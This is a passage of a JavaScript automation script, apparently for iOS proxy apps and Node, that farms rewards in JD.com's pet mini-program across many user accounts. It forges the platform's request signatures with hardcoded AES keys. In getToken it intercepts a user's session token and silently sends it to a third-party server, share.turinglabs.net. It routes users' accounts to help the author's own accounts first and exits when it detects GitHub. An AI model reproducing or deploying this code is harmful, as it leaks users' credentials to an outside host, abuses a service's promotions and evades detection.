0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); +const headers = { + 'Connection' : 'keep-alive', + 'Accept-Encoding' : 'gzip, deflate, br', + 'App-Id' : '', + 'Lottery-Access-Signature' : '', + 'Content-Type' : 'application/json', + 'reqSource' : 'weapp', + // 'User-Agent' : $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'User-Agent' : "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1", + 'Cookie' : '', + 'openId' : '', + 'Host' : 'draw.jdfcloud.com', + 'Referer' : 'https://servicewechat.com/wxccb5c536b0ecd1bf/633/page-frame.html', + 'Accept-Language' : 'zh-cn', + 'Accept' : '*/*', + 'LKYLToken' : '' +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) +} else { + //支持 "京东多账号 Ck 管理"的cookie + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + if ($.getdata('jd_joy_invite_pin')) { + invite_pins = []; + invite_pins.push($.getdata('jd_joy_invite_pin')); + } + if ($.getdata('jd2_joy_invite_pin')) { + if (invite_pins.length > 0) { + invite_pins.push($.getdata('jd2_joy_invite_pin')) + } else { + invite_pins = []; + invite_pins.push($.getdata('jd2_joy_invite_pin')); + } + } + if ($.getdata('jd_joy_run_pin')) { + run_pins = [] + run_pins.push($.getdata('jd_joy_run_pin')); + } + if ($.getdata('jd2_joy_run_pin')) { + if (run_pins.length > 0) { + run_pins.push($.getdata('jd2_joy_run_pin')) + } else { + run_pins = []; + run_pins.push($.getdata('jd2_joy_run_pin')); + } + } +} +async function main() { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + const readTokenRes = '' + // const readTokenRes = await readToken(); + if (readTokenRes && readTokenRes.code === 200) { + $.LKYLToken = readTokenRes.data[0] || ($.isNode() ? (process.env.JOY_RUN_TOKEN ? process.env.JOY_RUN_TOKEN : jdJoyRunToken) : ($.getdata('jdJoyRunToken') || jdJoyRunToken)); + } else { + $.LKYLToken = $.isNode() ? (process.env.JOY_RUN_TOKEN ? process.env.JOY_RUN_TOKEN : jdJoyRunToken) : ($.getdata('jdJoyRunToken') || jdJoyRunToken); + } + console.log(`打印token:${$.LKYLToken ? $.LKYLToken : '暂无token'}\n`) + if (!$.LKYLToken) { + $.msg($.name, '【提示】请先获取来客有礼宠汪汪token', "iOS用户微信搜索'来客有礼'小程序\n点击底部的'发现'Tab\n即可获取Token"); + // return; + } + await getFriendPins(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + $.validate = ''; + // const zooFaker = require('./utils/JDJRValidator_Pure'); + // $.validate = await zooFaker.injectToRequest() + if ($.isNode()) { + if (process.env.JOY_RUN_HELP_MYSELF) { + console.log(`\n赛跑会先给账号内部助力\n`) + let my_run_pins = []; + Object.values(jdCookieNode).filter(item => item.match(/pt_pin=([^; ]+)(?=;?)/)).map(item => my_run_pins.push(decodeURIComponent(item.match(/pt_pin=([^; ]+)(?=;?)/)[1]))) + run_pins = [...new Set(my_run_pins), [...getRandomArrayElements([...run_pins[0].split(',')], [...run_pins[0].split(',')].length)]]; + run_pins = [[...run_pins].join(',')]; + invite_pins = run_pins; + } else { + console.log(`\n赛跑先给作者两个固定的pin进行助力,然后从账号内部与剩下的固定位置合并后随机抽取进行助力\n如需自己账号内部互助,设置环境变量 JOY_RUN_HELP_MYSELF 为true,则开启账号内部互助\n`) + run_pins = run_pins[0].split(',') + Object.values(jdCookieNode).filter(item => item.match(/pt_pin=([^; ]+)(?=;?)/)).map(item => run_pins.push(decodeURIComponent(item.match(/pt_pin=([^; ]+)(?=;?)/)[1]))) + run_pins = [...new Set(run_pins)]; + let fixPins = run_pins.splice(run_pins.indexOf('被折叠的记忆33'), 1); + fixPins.push(...run_pins.splice(run_pins.indexOf('jd_6cd93e613b0e5'), 1)); + const randomPins = getRandomArrayElements(run_pins, run_pins.length); + run_pins = [[...fixPins, ...randomPins].join(',')]; + invite_pins = run_pins; + } + } + cookie = cookiesArr[i]; + UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.inviteReward = 0; + $.runReward = 0; + console.log(`\n开始【京东账号${$.index}】${UserName}\n`); + $.jdLogin = true; + $.LKYLLogin = true; + console.log(`=============【开始邀请助力】===============`) + const inviteIndex = $.index > invite_pins.length ? (invite_pins.length - 1) : ($.index - 1); + let new_invite_pins = invite_pins[inviteIndex].split(','); + new_invite_pins = [...new_invite_pins, ...getRandomArrayElements(friendsArr, friendsArr.length >= 18 ? 18 : friendsArr.length)]; + await invite(new_invite_pins); + if ($.jdLogin && $.LKYLLogin) { + if (nowTimes.getHours() >= 9 && nowTimes.getHours() < 21) { + console.log(`===========【开始助力好友赛跑】===========`) + const runIndex = $.index > run_pins.length ? (run_pins.length - 1) : ($.index - 1); + let new_run_pins = run_pins[runIndex].split(','); + await run(new_run_pins); + } else { + console.log(`非赛跑时间\n`) + } + } + await showMsg(); + } + } + $.done() +} +//获取来客有礼Token +let count = 0; +async function getToken() { + const url = $request.url; + $.log(`${$.name}url\n${url}\n`) + if (isURL(url, /^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/addUser\?code=/)) { + const body = JSON.parse($response.body); + const LKYLToken = body.data && body.data.token; + if (LKYLToken) { + $.log(`${$.name} token\n${LKYLToken}\n`); + $.msg($.name, '更新Token: 成功🎉', ``); + console.log(`\nToken,${LKYLToken}\n`) + $.http.post({ + url: `http://share.turinglabs.net/api/v3/create/sharecode/`, + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ + "activity_name": "joy", + "share_code": LKYLToken, + }), + timeout: 30000 + }).then((resp) => { + if (resp.statusCode === 200) { + try { + let { body } = resp; + console.log(`Token提交结果:${body}\n`) + body = JSON.parse(body); + console.log(`${body.message}`) + } catch (e) { + console.log(`提交Token异常:${e}`) + } + } + }).catch((e) => console.log(`catch 宠汪汪TOKEN提交异常:${e}`)); + // count = $.getdata('countFlag') ? $.getdata('countFlag') * 1 : 0; + // count ++; + // console.log(`count: ${count}`) + // $.setdata(`${count}`, 'countFlag'); + // if ($.getdata('countFlag') * 1 === 2) { + // count = 0; + // $.setdata(`${count}`, 'countFlag'); + // $.msg($.name, '更新Token: 成功🎉', ``); + // console.log(`开始上传Token,${LKYLToken}\n`) + // await $.http.get({url: `http://jd.turinglabs.net/api/v2/jd/joy/create/${LKYLToken}/`}).then((resp) => { + // if (resp.statusCode === 200) { + // let { body } = resp; + // console.log(`Token提交结果:${body}\n`) + // body = JSON.parse(body); + // console.log(`${body.message}`) + // } + // }); + // } + $.setdata(LKYLToken, 'jdJoyRunToken'); + } + $.done({ body: JSON.stringify(body) }) + } else if (isURL(url, /^https:\/\/draw\.jdfcloud\.com(\/mirror)?\/\/api\/user\/user\/detail\?openId=/)){ + if ($request && $request.method !== 'OPTIONS') { + const LKYLToken = $request.headers['LKYLToken']; + //if ($.getdata('jdJoyRunToken')) { + //if ($.getdata('jdJoyRunToken') !== LKYLToken) { + + //} + //$.msg($.name, '更新获取Token: 成功🎉', `\n${LKYLToken}\n`); + //} else { + //$.msg($.name, '获取Token: 成功🎉', `\n${LKYLToken}\n`); + //} + $.setdata(LKYLToken, 'jdJoyRunToken'); + + $.msg($.name, '获取Token: 成功🎉', ``); + + // $.done({ body: JSON.stringify(body) }) + $.done({ url: url }) + } + } else { + $.done() + } +} +function readToken() { + return new Promise(resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/joy/query/1/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // if ($.isNode() && !run_pins[0].includes("被折叠的记忆33")) resolve(null); + console.log(`\n\n搬运我脚本修改我内置互助码的,请不要盗取我服务器token\n\n\n`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(async resolve => { + if ($.inviteReward || $.runReward) { + let message = ''; + if ($.inviteReward > 0) { + message += `给${$.inviteReward / 30}人邀请助力成功,获得${$.inviteReward}积分\n`; + } + if ($.runReward > 0) { + message += `给${$.runReward / 5}人赛跑助力成功,获得狗粮${$.runReward}g`; + } + if (message) { + $.msg($.name, '', `京东账号${$.index} ${UserName}\n${message}`); + } + } + resolve(); + }) +} +//邀请助力 +async function invite(invite_pins) { + console.log(`账号${$.index} [${UserName}] 给下面名单的人进行邀请助力\n${invite_pins.map(item => item.trim())}\n`); + for (let item of invite_pins.map(item => item.trim())) { + console.log(`\n账号${$.index} [${UserName}] 开始给好友 [${item}] 进行邀请助力`) + if (UserName === item) { + console.log(`自己账号,跳过`); + continue + } + const data = await enterRoom(item); + if (data) { + if (data.success) { + const { helpStatus } = data.data; + console.log(`helpStatus ${helpStatus}`) + if (helpStatus=== 'help_full') { + console.log(`您的邀请助力机会已耗尽\n`) + break; + } else if (helpStatus=== 'cannot_help') { + console.log(`已给该好友 ${item} 助力过或者此friendPin是你自己\n`) + } else if (helpStatus=== 'invite_full') { + console.log(`助力失败,该好友 ${item} 已经满3人给他助力了,无需您再次助力\n`) + } else if (helpStatus=== 'can_help') { + console.log(`开始给好友 ${item} 助力\n`) + const LKYL_DATA = await helpInviteFriend(item); + if (LKYL_DATA.errorCode === 'L0001' && !LKYL_DATA.success) { + console.log('来客有礼宠汪汪token失效'); + $.setdata('', 'jdJoyRunToken'); + $.msg($.name, '【提示】来客有礼token失效,请重新获取', "iOS用户微信搜索'来客有礼'小程序\n点击底部的'发现'Tab\n即可获取Token") + $.LKYLLogin = false; + break + } else { + $.LKYLLogin = true; + } + } + $.jdLogin = true; + } else { + if (data.errorCode === 'B0001') { + console.log('京东Cookie失效'); + $.msg($.name, `【提示】京东cookie已失效`, `京东账号${$.index} ${UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.jdLogin = false; + break + } + } + } + } + // if ($.inviteReward > 0) { + // $.msg($.name, ``, `账号${$.index} [${UserName}]\n给${$.inviteReward/5}人邀请助力成功\n获得${$.inviteReward}积分`) + // } +} +function enterRoom(invitePin) { + return new Promise(resolve => { + headers.Cookie = cookie; + headers.LKYLToken = $.LKYLToken; + headers['Content-Type'] = "application/json"; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com/common/pet/enterRoom/h5?reqSource=h5&invitePin=${encodeURI(invitePin)}&inviteSource=task_invite&shareSource=weapp&inviteTimeStamp=${Date.now()}&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.validate; + const options = { + url, + body: '{}', + headers + } + $.post(options, (err, resp, data) => { + try { + if (err) { + $.log(`${$.name} API请求失败`) + $.log(JSON.stringify(err)) + } else { + // console.log('进入房间', data) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }); + }) +} +function helpInviteFriend(friendPin) { + return new Promise((resolve) => { + headers.Cookie = cookie; + headers.LKYLToken = $.LKYLToken; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com/common/pet/helpFriend?friendPin=${encodeURI(friendPin)}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.validate; + const options = { + url, + headers + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.log('API请求失败') + $.logErr(JSON.stringify(err)); + } else { + $.log(`邀请助力结果:${data}`); + data = JSON.parse(data); + // {"errorCode":"help_ok","errorMessage":null,"currentTime":1600254297789,"data":29466,"success":true} + if (data.success && data.errorCode === 'help_ok') { + $.inviteReward += 30; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }); + }) +} +//赛跑助力 +async function run(run_pins) { + console.log(`账号${$.index} [${UserName}] 给下面名单的人进行赛跑助力\n${(run_pins.map(item => item.trim()))}\n`); + for (let item of run_pins.map(item => item.trim())) { + console.log(`\n账号${$.index} [${UserName}] 开始给好友 [${item}] 进行赛跑助力`) + if (UserName === item) { + console.log(`自己账号,跳过`); + continue + } + const combatDetailRes = await combatDetail(item); + const { petRaceResult } = combatDetailRes.data; + console.log(`petRaceResult ${petRaceResult}`); + if (petRaceResult === 'help_full') { + console.log('您的赛跑助力机会已耗尽'); + break; + } else if (petRaceResult === 'can_help') { + console.log(`开始赛跑助力好友 ${item}`) + const LKYL_DATA = await combatHelp(item); + if (LKYL_DATA.errorCode === 'L0001' && !LKYL_DATA.success) { + console.log('来客有礼宠汪汪token失效'); + $.setdata('', 'jdJoyRunToken'); + $.msg($.name, '【提示】来客有礼token失效,请重新获取', "iOS用户微信搜索'来客有礼'小程序\n点击底部的'发现'Tab\n即可获取Token") + $.LKYLLogin = false; + break + } else { + $.LKYLLogin = true; + } + } + } + // if ($.runReward > 0) { + // $.msg($.name, ``, `账号${$.index} [${UserName}]\n给${$.runReward/5}人赛跑助力成功\n获得狗粮${$.runReward}g`) + // } +} +function combatHelp(friendPin) { + return new Promise(resolve => { + headers.Cookie = cookie; + headers.LKYLToken = $.LKYLToken; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com//common/pet/combat/help?friendPin=${encodeURI(friendPin)}&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.validate; + const options = { + url, + headers + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.log('API请求失败') + $.logErr(JSON.stringify(err)); + } else { + $.log(`赛跑助力结果${data}`); + data = JSON.parse(data); + // {"errorCode":"help_ok","errorMessage":null,"currentTime":1600479266133,"data":{"rewardNum":5,"helpStatus":"help_ok","newUser":false},"success":true} + if (data.errorCode === 'help_ok' && data.data.helpStatus === 'help_ok') { + console.log(`助力${friendPin}成功\n获得狗粮${data.data.rewardNum}g\n`); + $.runReward += data.data.rewardNum; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }); + }) +} +function combatDetail(invitePin) { + return new Promise(resolve => { + headers.Cookie = cookie; + headers.LKYLToken = $.LKYLToken; + let opt = { + // url: "//jdjoy.jd.com/common/pet/getPetTaskConfig?reqSource=h5", + url: `//draw.jdfcloud.com/common/pet/combat/detail/v2?help=true&inviterPin=${encodeURI(invitePin)}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: {"content-type": "application/json"} + } + const url = "https:"+ taroRequest(opt)['url'] + $.validate; + const options = { + url, + headers + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.log('API请求失败') + $.logErr(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }); + }) +} +function isURL(domain, reg) { + // const name = reg; + return reg.test(domain); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function getRandomArrayElements(arr, count) { + let shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +function getFriendPins() { + return new Promise(resolve => { + $.get({ + url: "https://cdn.jsdelivr.net/gh/gitupdate/friendPin@main/friendPins.json", + headers:{ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 100000}, async (err, resp, data) => { + try { + if (err) { + console.log(`getFriendPins::${JSON.stringify(err)}`); + } else { + $.friendPins = data && JSON.parse(data); + if ($.friendPins && $.friendPins['friendsArr']) { + friendsArr = $.friendPins['friendsArr']; + console.log(`\n共提供 ${friendsArr.length}个好友供来进行邀请助力\n`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +isRequest ? getToken() : main(); + + +function taroRequest(e) { + const a = $.isNode() ? require('crypto-js') : CryptoJS; + const i = "98c14c997fde50cc18bdefecfd48ceb7" + const o = a.enc.Utf8.parse(i) + const r = a.enc.Utf8.parse("ea653f4f3c5eda12"); + let _o = { + "AesEncrypt": function AesEncrypt(e) { + var n = a.enc.Utf8.parse(e); + return a.AES.encrypt(n, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).ciphertext.toString() + }, + "AesDecrypt": function AesDecrypt(e) { + var n = a.enc.Hex.parse(e) + , t = a.enc.Base64.stringify(n); + return a.AES.decrypt(t, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).toString(a.enc.Utf8).toString() + }, + "Base64Encode": function Base64Encode(e) { + var n = a.enc.Utf8.parse(e); + return a.enc.Base64.stringify(n) + }, + "Base64Decode": function Base64Decode(e) { + return a.enc.Base64.parse(e).toString(a.enc.Utf8) + }, + "Md5encode": function Md5encode(e) { + return a.MD5(e).toString() + }, + "keyCode": "98c14c997fde50cc18bdefecfd48ceb7" + } + + const c = function sortByLetter(e, n) { + if (e instanceof Array) { + n = n || []; + for (var t = 0; t < e.length; t++) + n[t] = sortByLetter(e[t], n[t]) + } else + !(e instanceof Array) && e instanceof Object ? (n = n || {}, + Object.keys(e).sort().map(function(t) { + n[t] = sortByLetter(e[t], n[t]) + })) : n = e; + return n + } + const s = function isInWhiteAPI(e) { + for (var n = ["gift", "pet"], t = !1, a = 0; a < n.length; a++) { + var i = n[a]; + e.includes(i) && !t && (t = !0) + } + return t + } + + const d = function addQueryToPath(e, n) { + if (n && Object.keys(n).length > 0) { + var t = Object.keys(n).map(function(e) { + return e + "=" + n[e] + }).join("&"); + return e.indexOf("?") >= 0 ? e + "&" + t : e + "?" + t + } + return e + } + const l = function apiConvert(e) { + for (var n = r, t = 0; t < n.length; t++) { + var a = n[t]; + e.includes(a) && !e.includes("common/" + a) && (e = e.replace(a, "common/" + a)) + } + return e + } + + var n = e + , t = (n.header, + n.url); + t += (t.indexOf("?") > -1 ? "&" : "?") + "reqSource=h5"; + var _a = function getTimeSign(e) { + var n = e.url + , t = e.method + , a = void 0 === t ? "GET" : t + , i = e.data + , r = e.header + , m = void 0 === r ? {} : r + , p = a.toLowerCase() + , g = _o.keyCode + , f = m["content-type"] || m["Content-Type"] || "" + , h = "" + , u = +new Date(); + return h = "get" !== p && + ("post" !== p || "application/x-www-form-urlencoded" !== f.toLowerCase() && i && Object.keys(i).length) ? + _o.Md5encode(_o.Base64Encode(_o.AesEncrypt("" + JSON.stringify(c(i)))) + "_" + g + "_" + u) : + _o.Md5encode("_" + g + "_" + u), + s(n) && (n = d(n, { + "lks": h, + "lkt": u + }), + n = l(n)), + Object.assign(e, { + "url": n + }) + }(e = Object.assign(e, { + "url": t + })); + return _a +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return 